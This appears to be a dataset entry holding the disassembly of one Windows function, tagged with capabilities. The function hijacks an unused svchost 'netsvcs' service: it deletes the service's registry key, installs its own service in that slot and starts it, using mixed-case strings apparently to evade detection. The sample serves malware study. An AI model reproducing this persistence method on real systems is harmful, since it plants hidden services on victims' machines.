Function at 0x402740
Capabilities:
Check if file exists
Delete registry key
Get common file path
Get file attributes
Query environment variable
Query or enumerate registry value
Start service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x402fc0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x958
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x24], 0x80000002
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x430], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x21c], 0
mov byte [ebp - 0x224], 0
xor eax, eax
mov dword [ebp - 0x223], eax
mov byte [ebp - 0x218], 0
mov ecx, 0x7c
xor eax, eax
lea edi, [ebp - 0x217]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 4], 0
mov dword [ebp - 0x438], 0x40a
mov byte [ebp - 0x94c], 0
mov ecx, 0x3f
xor eax, eax
lea edi, [ebp - 0x94b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x104
lea ecx, [ebp - 0x42c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
xor edx, edx
mov dl, byte [0x42d140]
test edx, edx
jne 0x402830
lea eax, [ebp - 0x94c]
push eax
call fcn.004014e0
add esp, 4
lea ecx, [ebp - 0x94c]
push ecx
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenEventA]
test eax, eax
je 0x402830
xor eax, eax
jmp 0x402d91
movsx edx, byte [0x42d08c]
test edx, edx
je 0x40299b
push 0x104
lea eax, [ebp - 0x218]
push eax
push 0x42d08c
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push 0x3f
lea ecx, [ebp - 0x218]
push ecx
call sub.MSVCRT.dll_strchr
add esp, 8
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x40288a
push 1
mov edx, dword [ebp - 0x14]
push edx
call fcn.00401c40
add esp, 8
push 1
push 5
call dword [sym.imp.KERNEL32.dll_SleepEx]
jmp 0x402856
push 0x2a
lea eax, [ebp - 0x218]
push eax
call sub.MSVCRT.dll_strchr
add esp, 8
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x4028de
mov ecx, dword [ebp - 0x14]
add ecx, 1
push ecx
lea edx, [ebp - 0x328]
push edx
call fcn.004023f0
add esp, 8
lea eax, [ebp - 0x328]
push eax
mov ecx, dword [ebp - 0x14]
add ecx, 5
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 5
mov edx, dword [ebp - 0x14]
push edx
call fcn.00401c40
add esp, 8
jmp 0x40288a
lea eax, [ebp - 0x218]
push eax
call fcn.00401e10
add esp, 4
mov dword [ebp - 0x958], eax
mov ecx, dword [ebp - 0x958]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x14]
lea eax, [ebp - 0x218]
cmp edx, eax
je 0x402969
mov ecx, dword [ebp - 0x14]
push ecx
lea edx, [ebp - 0x150]
push edx
call fcn.004023f0
add esp, 8
lea eax, [ebp - 0x218]
push eax
call fcn.00401fd0
add esp, 4
mov byte [ebp - 0x95c], al
mov ecx, dword [ebp - 0x95c]
and ecx, 0xff
test ecx, ecx
jne 0x402957
lea edx, [ebp - 0x42c]
push edx
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x40295e
mov ecx, dword [ebp - 0x14]
mov byte [ecx - 1], 0
lea edx, [ebp - 0x150]
mov dword [ebp - 0x14], edx
jmp 0x402999
lea eax, [ebp - 0x150]
mov dword [ebp - 0x14], eax
lea ecx, [ebp - 0x218]
push ecx
mov edx, dword [ebp - 0x14]
push edx
call fcn.004023f0
add esp, 8
lea eax, [ebp - 0x42c]
push eax
lea ecx, [ebp - 0x218]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x4029be
lea edx, [ebp - 0x150]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x14]
mov byte [eax], 0
lea ecx, [ebp - 0x42c]
push ecx
lea edx, [ebp - 0x218]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [ebp - 0x14]
movsx ecx, byte [eax]
test ecx, ecx
jne 0x4029ea
push 3
mov edx, dword [ebp - 0x14]
push edx
call fcn.00401c40
add esp, 8
push str..dll
mov eax, dword [ebp - 0x14]
add eax, 3
push eax
call fcn.004023f0
add esp, 8
push 0x1f4
lea ecx, [ebp - 0x218]
push ecx
lea edx, [ebp - 0x218]
push edx
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x14]
push eax
lea ecx, [ebp - 0x218]
push ecx
push str._s_s
lea edx, [ebp - 0x328]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
mov eax, dword [ebp + 0xc]
push eax
call fcn.00402670
add esp, 4
lea ecx, [ebp - 0x24]
push ecx
push 1
push 0
mov edx, dword [str.SOFTWAREmIcRoSoFtwINDoWS_ntcurrentVersion_sVChoST]
push edx
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 0x18], eax
lea ecx, [ebp - 0x438]
push ecx
lea edx, [ebp - 0x848]
push edx
lea eax, [ebp - 0x84c]
push eax
push 0
push str.netsvcs
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 0x18], eax
mov edx, dword [ebp - 0x24]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x18], 0
je 0x402a8c
jmp 0x402c87
lea eax, [ebp - 0x848]
mov dword [ebp - 0x434], eax
jmp 0x402ab7
mov ecx, dword [ebp - 0x434]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edx, dword [ebp - 0x434]
lea eax, [edx + eax + 1]
mov dword [ebp - 0x434], eax
mov ecx, dword [ebp - 0x434]
movsx edx, byte [ecx]
test edx, edx
je 0x402c87
mov eax, dword [ebp - 0x434]
movsx ecx, byte [eax + 1]
test ecx, ecx
je 0x402c87
push str.6to4
mov edx, dword [ebp - 0x434]
push edx
call sub.MSVCRT.dll__stricmp
add esp, 8
test eax, eax
jne 0x402af4
jmp 0x402a9a
push str.iprip
mov eax, dword [ebp - 0x434]
push eax
call sub.MSVCRT.dll__stricmp
add esp, 8
test eax, eax
je 0x402b24
push str.nwsaPAgEnT
mov ecx, dword [ebp - 0x434]
push ecx
call sub.MSVCRT.dll__stricmp
add esp, 8
test eax, eax
jne 0x402b29
jmp 0x402a9a
mov edx, dword [str.SYSTEMCurrentControlSetServices_]
push edx
lea eax, [ebp - 0x218]
push eax
call fcn.004023f0
add esp, 8
mov ecx, dword [ebp - 0x434]
push ecx
call sub.MSVCRT.dll__strlwr
add esp, 4
push eax
lea edx, [ebp - 0x218]
push edx
call fcn.00402420
add esp, 8
lea eax, [ebp - 0x24]
push eax
push 1
push 0
lea ecx, [ebp - 0x218]
push ecx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea edx, [ebp - 0x438]
push edx
push 0
push 0
push 0
push str.ImagePath
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x402ba6
cmp dword [ebp - 0x18], 0xea
jne 0x402bab
jmp 0x402a9a
lea ecx, [ebp - 0x218]
push ecx
push 0x80000002
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
lea edx, [ebp - 0x328]
push edx
call fcn.00401f80
add esp, 4
lea eax, [ebp - 0x328]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x402bf4
push 0x42c6d0
lea ecx, [ebp - 0x328]
push ecx
call fcn.00402420
add esp, 8
jmp 0x402bcc
push 0x42d144
push 0x120
push str.netsvcs
lea edx, [ebp - 0x328]
push edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 0x434]
push edx
call section..text
add esp, 0x1c
mov dword [ebp - 0x960], eax
mov eax, dword [ebp - 0x960]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x402c82
mov ecx, dword [ebp - 0x1c]
push ecx
call fcn.00401e60
add esp, 4
mov byte [ebp - 0x964], al
mov edx, dword [ebp - 0x964]
and edx, 0xff
test edx, edx
je 0x402c73
mov eax, dword [ebp - 0x434]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.004023f0
add esp, 8
mov eax, dword [ebp + 8]
jmp 0x402d91
lea edx, [ebp - 0x328]
push edx
call fcn.00401f80
add esp, 4
jmp 0x402a9a
mov eax, dword [ebp + 8]
push eax
call fcn.00402670
add esp, 4
mov dword [ebp - 0x950], 0x110
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x43c], ecx
mov edx, dword [ebp - 0x43c]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.00402460
add esp, 8
lea ecx, [ebp - 0x328]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x402cdf
push 0x42c6d0
lea edx, [ebp - 0x328]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
jmp 0x402cb9
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x42d144
mov eax, dword [ebp - 0x950]
push eax
mov ecx, dword [ebp - 0x43c]
push ecx
lea edx, [ebp - 0x328]
push edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call section..text
add esp, 0x1c
mov dword [ebp - 0x968], eax
mov eax, dword [ebp - 0x968]
mov dword [ebp - 0x1c], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
jmp 0x402d51
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x1c], 0
je 0x402d8f
push 0
push 0
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp + 8]
jmp 0x402d91
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret